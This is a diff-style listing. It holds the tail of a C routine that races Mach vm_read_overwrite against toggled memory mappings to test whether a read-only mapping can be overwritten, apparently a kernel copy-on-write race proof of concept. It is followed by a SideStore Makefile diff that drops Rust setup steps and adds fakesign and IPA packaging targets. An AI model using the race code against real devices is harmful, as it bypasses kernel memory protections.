FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
|
||||
|
||||
/* let the racing thread go */
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
/* wait a little bit */
|
||||
usleep(100);
|
||||
|
||||
/* trigger copy_unaligned while racing with other thread */
|
||||
kr = vm_read_overwrite(mach_task_self(),
|
||||
e5,
|
||||
ctx->obj_size - 1 + overwrite_length,
|
||||
e2 + 1,
|
||||
&copied_size);
|
||||
T_QUIET;
|
||||
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
|
||||
"vm_read_overwrite kr %d", kr);
|
||||
switch (kr) {
|
||||
case KERN_SUCCESS:
|
||||
/* the target was RW */
|
||||
kern_success++;
|
||||
break;
|
||||
case KERN_PROTECTION_FAILURE:
|
||||
/* the target was RO */
|
||||
kern_protection_failure++;
|
||||
break;
|
||||
default:
|
||||
/* should not happen */
|
||||
kern_other++;
|
||||
break;
|
||||
}
|
||||
/* check that our read-only memory was not modified */
|
||||
#if 0
|
||||
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
|
||||
#endif
|
||||
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
|
||||
|
||||
/* tell racing thread to stop toggling mappings */
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
|
||||
/* clean up before next loop */
|
||||
vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
|
||||
ctx->e0 = 0;
|
||||
vm_deallocate(mach_task_self(), e2, ctx->obj_size);
|
||||
e2 = 0;
|
||||
if (!is_still_equal) {
|
||||
retval = true;
|
||||
fprintf(stderr, "RO mapping was modified\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ctx->done = true;
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
pthread_join(th, NULL);
|
||||
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
|
||||
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
|
||||
kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
|
||||
|
||||
#if 0
|
||||
T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
|
||||
kern_success, kern_protection_failure, kern_other);
|
||||
T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
|
||||
#endif
|
||||
return retval;
|
||||
}
|
||||
139
Makefile
@@ -2,8 +2,6 @@ SHELL := /bin/bash
|
||||
.PHONY: help ios update tvos
|
||||
|
||||
RUBY := $(shell command -v ruby 2>/dev/null)
|
||||
RUST := $(shell command -v rust 2>/dev/null)
|
||||
RUSTUP := $(shell command -v rustup 2>/dev/null)
|
||||
HOMEBREW := $(shell command -v brew 2>/dev/null)
|
||||
BUNDLER := $(shell command -v bundle 2>/dev/null)
|
||||
|
||||
@@ -72,11 +70,7 @@ help:
|
||||
|
||||
## Install dependencies.
|
||||
setup: \
|
||||
pre_setup \
|
||||
install_rust \
|
||||
install_rustup \
|
||||
install_rust_toolchain \
|
||||
build_rust_dependencies
|
||||
pre_setup
|
||||
|
||||
# check_for_homebrew \
|
||||
# update_homebrew \
|
||||
@@ -89,20 +83,6 @@ pull_request: \
|
||||
pre_setup:
|
||||
$(info Project setup…)
|
||||
|
||||
check_for_rust:
|
||||
$(info Checking for Rust…)
|
||||
|
||||
ifeq ($(RUST),)
|
||||
$(error Rust is not installed.)
|
||||
endif
|
||||
|
||||
check_for_rustup:
|
||||
$(info Checking for Rustup…)
|
||||
|
||||
ifeq ($(RUSTUP),)
|
||||
$(error Rust is not installed.)
|
||||
endif
|
||||
|
||||
check_for_ruby:
|
||||
$(info Checking for Ruby…)
|
||||
|
||||
@@ -153,79 +133,12 @@ pull:
|
||||
## -- Source Code Tasks --
|
||||
|
||||
## Pull upstream and update 3rd party frameworks
|
||||
# update: pull submodules build_rust_dependencies
|
||||
update: submodules build_rust_dependencies
|
||||
update: submodules
|
||||
|
||||
submodules:
|
||||
$(info Updating submodules…)
|
||||
|
||||
git submodule update --init --recursive
|
||||
|
||||
build_rust_dependencies:
|
||||
$(info Building Rust dependencies…)
|
||||
|
||||
pushd Dependencies/em_proxy
|
||||
cargo build --release --target aarch64-apple-ios
|
||||
popd
|
||||
pushd Dependencies/minimuxer
|
||||
cargo build --release --target aarch64-apple-ios
|
||||
popd
|
||||
|
||||
install_rustup:
|
||||
$(info Installing Rustup…)
|
||||
|
||||
curl https://sh.rustup.rs -sSf | sh
|
||||
source "$(HOME)/.cargo/env"
|
||||
rustup target add aarch64-apple-ios
|
||||
|
||||
# TODO: Add x86, armv7? toolchains
|
||||
# https://doc.rust-lang.org/nightly/rustc/platform-support.html
|
||||
|
||||
install_cbindgen:
|
||||
$(info Installing cbindgen…)
|
||||
|
||||
cargo install cbindgen
|
||||
|
||||
install_rust_toolchain:
|
||||
$(info Installing Rust toolchain…)
|
||||
|
||||
rustup target add aarch64-apple-ios
|
||||
|
||||
install_rust_toolchain_ios_sim:
|
||||
$(info Installing Rust iOS Sim toolchain…)
|
||||
|
||||
rustup target add aarch64-apple-ios-sim
|
||||
|
||||
install_rust_toolchain_tvos:
|
||||
$(info Installing Rust tvOS toolchain…)
|
||||
|
||||
rustup target add aarch64-apple-tvos
|
||||
|
||||
install_rust_toolchain_tvos_sim:
|
||||
$(info Installing Rust tvOS Sim toolchain…)
|
||||
|
||||
rustup target add aarch64-apple-tvos-sim
|
||||
|
||||
install_rust_toolchain_watchos_sim:
|
||||
$(info Installing Rust watchOS Sim toolchain…)
|
||||
|
||||
rustup target add aarch64-apple-watchos-sim
|
||||
|
||||
install_rust_toolchain_watchos:
|
||||
$(info Installing Rust watchOS toolchain…)
|
||||
|
||||
rustup target add aarch64-apple-watchos
|
||||
|
||||
install_rust_toolchain_catalyst:
|
||||
$(info Installing Rust macOS Catalyst toolchain…)
|
||||
|
||||
rustup target add aarch64-apple-ios-macabi
|
||||
|
||||
install_rust:
|
||||
$(info Installing Rust…)
|
||||
|
||||
curl https://sh.rustup.rs -sSf | sh
|
||||
source "$(HOME)/.cargo/env"
|
||||
git submodule update --init --recursive --remote
|
||||
|
||||
## -- QA Task Runners --
|
||||
|
||||
@@ -243,32 +156,26 @@ test:
|
||||
|
||||
## -- Building --
|
||||
|
||||
developer_ios:
|
||||
$(info Building iOS for Developer profile…)
|
||||
build:
|
||||
@xcodebuild -project AltStore.xcodeproj \
|
||||
-scheme AltStore \
|
||||
-sdk iphoneos \
|
||||
archive -archivePath ./archive \
|
||||
CODE_SIGNING_REQUIRED=NO \
|
||||
AD_HOC_CODE_SIGNING_ALLOWED=YES \
|
||||
CODE_SIGNING_ALLOWED=NO \
|
||||
DEVELOPMENT_TEAM=XYZ0123456 \
|
||||
ORG_IDENTIFIER=com.SideStore \
|
||||
DWARF_DSYM_FOLDER_PATH="."
|
||||
|
||||
xcodebuild -project AltStore.xcodeproj -scheme AltStore -sdk iphoneos archive -archivePath ./archive CODE_SIGNING_REQUIRED=NO AD_HOC_CODE_SIGNING_ALLOWED=YES CODE_SIGNING_ALLOWED=NO DEVELOPMENT_TEAM=XYZ0123456 ORG_IDENTIFIER=com.SideStore | xcpretty
|
||||
fakesign:
|
||||
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
|
||||
ldid -SAltStore/Resources/ReleaseEntitlements.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
|
||||
ldid -SAltWidget/Resources/ReleaseEntitlements.plist archive.xcarchive/Products/Applications/SideStore.app/PlugIns/AltWidgetExtension.appex/AltWidgetExtension
|
||||
|
||||
developer_tvos:
|
||||
$(info Building tvOS for Developer profile…)
|
||||
ipa:
|
||||
mkdir Payload
|
||||
mkdir Payload/SideStore.app
|
||||
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
|
||||
zip -r SideStore.ipa Payload
|
||||
|
||||
xcodebuild -project AltStore.xcodeproj -scheme AltStore -sdk tvos archive -archivePath ./archive CODE_SIGNING_REQUIRED=NO AD_HOC_CODE_SIGNING_ALLOWED=YES CODE_SIGNING_ALLOWED=NO DEVELOPMENT_TEAM=XYZ0123456 ORG_IDENTIFIER=com.SideStore | xcpretty
|
||||
|
||||
## Update & build for iOS
|
||||
ios: | update developer_ios
|
||||
|
||||
## Update & build for tvOS
|
||||
tvos: | update developer_tvos
|
||||
|
||||
## Open the workspace
|
||||
open:
|
||||
open AltStore.xcodeproj
|
||||
|
||||
## tag and release to github
|
||||
release: | _var_VERSION
|
||||
@if ! git diff --quiet HEAD; then \
|
||||
( $(call _error,refusing to release with uncommitted changes) ; exit 1 ); \
|
||||
fi
|
||||
test
|
||||
package
|
||||
make --no-print-directory _tag VERSION=$(VERSION)
|
||||
make --no-print-directory _push VERSION=$(VERSION)
|
||||
|
||||